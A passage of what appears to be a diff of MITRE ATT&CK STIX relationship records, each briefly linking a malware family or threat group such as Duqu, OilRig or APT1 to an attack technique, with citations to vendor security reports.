hashes, domain accounts, and LSA secrets are also collected, as are WLAN keys.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4d7add6f-ebd5-477f-9958-a5176835da2e", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The discovery modules used with [Duqu](https://attack.mitre.org/software/S0038) can collect information on accounts and permissions.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2db406cf-667d-4ad6-b768-7645f6663ac9", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "modified": "2019-04-24T23:18:53.163Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) has infected victims using watering holes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bad12e35-72da-43bb-b61b-505ed72883c5", + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "modified": "2019-03-25T14:12:13.455Z", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "relationship_type": "uses", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gazer](https://attack.mitre.org/software/S0168) can establish persistence by creating a .lnk file in the Start menu.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2fb450c6-e236-4b81-b5ac-a9d4be0cf167", + "external_references": [ + { + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "source_name": "Securelist WhiteBear Aug 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) can upload files to the victim\u2019s machine and can download additional payloads.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--30efb3df-f7b4-47f8-9c5a-53a94509c929", + "external_references": [ + { + "source_name": "US-CERT KEYMARBLE Aug 2018", + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates run key Registry entries pointing to a malicious executable dropped to disk.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--22879bfd-c9de-480b-83f3-4b58ef6dd08e", + "external_references": [ + { + "source_name": "Symantec Darkmoon Aug 2005", + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) injects itself into running instances of outlook.exe, iexplore.exe, or firefox.exe.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--df5bee66-b840-405e-b9d5-2e0ced2e6808", + "external_references": [ + { + "source_name": "AlienVault Sykipot 2011", + "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.", + "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) uses PowerShell to download and execute the payload.", + "type": "relationship", + "created": "2019-01-29T17:59:44.414Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0b77fa58-6fd7-4002-955e-e3e1705d54c2", + "external_references": [ + { + "source_name": "Talos Zeus Panda Nov 2017", + "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More" + } + ], + "modified": "2019-04-16T20:55:20.025Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to list the processes running on a machine.", + "type": "relationship", + "created": "2019-01-29T18:17:59.270Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4b8ebd1a-50ba-463a-b536-3ad8cc5013f8", + "external_references": [ + { + "source_name": "CIRCL PlugX March 2013", + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "modified": "2019-04-19T15:08:15.805Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remcos](https://attack.mitre.org/software/S0332) searches for Sandboxie and VMware on the system.", + "type": "relationship", + "created": "2019-01-29T18:55:20.754Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8cb5d843-e5b6-416a-b721-aa6b4c1ae2f3", + "external_references": [ + { + "source_name": "Talos Remcos Aug 2018", + "description": "Brumaghin, E., Unterbrink, H. (2018, August 22). Picking Apart Remcos Botnet-In-A-Box. Retrieved November 6, 2018.", + "url": "https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html" + } + ], + "modified": "2019-04-19T14:39:52.946Z", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "relationship_type": "uses", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has created scheduled tasks that run a VBScript to execute a payload on victim machines.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a1e16836-d6d9-4d47-bb9a-35f31f369980", + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + }, + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "modified": "2019-07-17T16:17:29.719Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) gathers the username from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T19:18:28.770Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e96e17e7-4349-4393-b875-5bab4e8ffa5a", + "external_references": [ + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET" + } + ], + "modified": "2019-06-04T19:40:43.526Z", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbon](https://attack.mitre.org/software/S0335) uses port 80 for C2 communications.", + "type": "relationship", + "created": "2019-01-29T19:36:02.799Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--24c04596-5a7c-4d77-93b5-dec49d70d8ea", + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "modified": "2019-04-12T14:43:22.568Z", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Epic](https://attack.mitre.org/software/S0091) compresses the collected data with bzip2 before sending it to the C2 server.", + "type": "relationship", + "created": "2019-01-29T19:55:47.992Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--762f22f8-5f47-4c1f-b41b-86984c3e2550", + "external_references": [ + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "modified": "2019-07-26T16:10:42.484Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Epic](https://attack.mitre.org/software/S0091) uses the tasklist /svc command to list the services on the system.", + "type": "relationship", + "created": "2019-01-29T19:55:48.191Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d012dd66-fef4-4714-bb00-55d9dd2861a1", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "modified": "2019-07-26T16:10:42.508Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has used ports 8060 and 8888 for C2.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--468ca76f-cf76-4476-883b-d0743e837df8", + "external_references": [ + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + } + ], + "modified": "2019-04-22T22:36:52.907Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can perform process injection by using a reflective DLL.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--21674a10-7168-420e-b916-2979a3ee3b5e", + "external_references": [ + { + "source_name": "Github Koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has used the Intel\u00ae Active Management Technology (AMT) Serial-over-LAN (SOL) channel for command and control.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3d9314d5-9177-48e4-9d82-e30d393b6280", + "external_references": [ + { + "source_name": "Microsoft PLATINUM June 2017", + "description": "Kaplan, D, et al. (2017, June 7). PLATINUM continues to evolve, find ways to maintain invisibility. Retrieved February 19, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/?source=mmpc" + } + ], + "modified": "2019-05-10T12:14:32.124Z", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TinyZBot](https://attack.mitre.org/software/S0004) can install as a Windows service for persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--90347c97-c0c5-4407-9087-b917d0789b0e", + "external_references": [ + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[T9000](https://attack.mitre.org/software/S0098) gathers and beacons the system time during installation.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0d2a66c5-fb8e-4cbb-9526-579b5c9c881c", + "external_references": [ + { + "source_name": "Palo Alto T9000 Feb 2016", + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:47:59.101Z", + "type": "relationship", + "id": "relationship--48b9ca0c-925b-4f6a-8f25-459b2489be7c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--121b2863-5b97-4538-acb3-f8aae070ec13", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has created a hidden directory under C:\\ProgramData\\Apple\\Updates\\.", + "type": "relationship", + "created": "2019-01-29T20:17:49.308Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4269342d-fd7b-4fc6-882f-5099da627c85", + "external_references": [ + { + "source_name": "TrendMicro Tropic Trooper Mar 2018", + "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" + } + ], + "modified": "2019-06-30T22:44:28.083Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "relationship_type": "uses", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sakula](https://attack.mitre.org/software/S0074) calls cmd.exe to run various DLL files via rundll32 and also to perform file cleanup. [Sakula](https://attack.mitre.org/software/S0074) also has the capability to invoke a reverse shell.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a3fe1f58-b507-42ea-a21e-a6ac46de9ca8", + "external_references": [ + { + "source_name": "Dell Sakula", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-12T16:33:51.188Z", + "type": "relationship", + "created": "2019-01-29T21:37:00.007Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d88c3036-bcaf-4897-a47e-3cabc0dbc1b2", + "external_references": [ + { + "source_name": "Unit42 SilverTerrier 2018", + "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.", + "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise" + } + ], + "source_ref": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb", + "relationship_type": "uses", + "target_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) can perform a recursive directory listing for all volume drives available on the victim's machine and can also fetch specific files by their paths.", + "type": "relationship", + "created": "2019-01-29T21:47:53.700Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--19f512b8-6869-460d-97d8-7e1f9b3c51cb", + "external_references": [ + { + "source_name": "Radware Micropsia July 2018", + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "modified": "2019-04-17T22:05:05.810Z", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Daserf](https://attack.mitre.org/software/S0187) can use steganography to hide malicious code downloaded to the victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a566127b-1d88-4b38-84dd-4686e2837399", + "external_references": [ + { + "source_name": "Trend Micro Daserf Nov 2017", + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "relationship_type": "uses", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Octopus](https://attack.mitre.org/software/S0340) uses HTTP for C2 communications.", + "type": "relationship", + "created": "2019-01-30T13:24:09.158Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b58b7cb7-ba2a-40ef-9532-c134b8811415", + "external_references": [ + { + "source_name": "Securelist Octopus Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + } + ], + "modified": "2019-01-30T13:24:09.158Z", + "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some variants of the [Zeroaccess](https://attack.mitre.org/software/S0027) Trojan have been known to store data in Extended Attributes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e584ec5f-af99-4d61-8b02-3dbacae4adf4", + "external_references": [ + { + "source_name": "Ciubotariu 2014", + "description": "Ciubotariu, M. (2014, January 23). Trojan.Zeroaccess.C Hidden in NTFS EA. Retrieved December 2, 2014.", + "url": "http://www.symantec.com/connect/blogs/trojanzeroaccessc-hidden-ntfs-ea" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--552462b9-ae79-49dd-855c-5973014e157f", + "relationship_type": "uses", + "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT18](https://attack.mitre.org/groups/G0026) can list files information for specific directories.", + "type": "relationship", + "created": "2019-01-30T14:00:49.826Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e3417dc3-f784-4306-8466-65a0067b63f1", + "external_references": [ + { + "source_name": "PaloAlto DNS Requests May 2016", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "modified": "2019-05-30T18:05:32.708Z", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[EvilGrab](https://attack.mitre.org/software/S0152) has the capability to capture video from a victim machine.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6782d7bb-5e81-4656-9445-fbd6ae1f2bdb", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78", + "relationship_type": "uses", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can collect host IP information from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T15:19:15.005Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d8f527e3-a86a-431c-9110-b092343269bc", + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ], + "modified": "2019-07-26T23:22:28.262Z", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT1](https://attack.mitre.org/groups/G0006) gathered a list of running processes on the system using tasklist /v.", + "type": 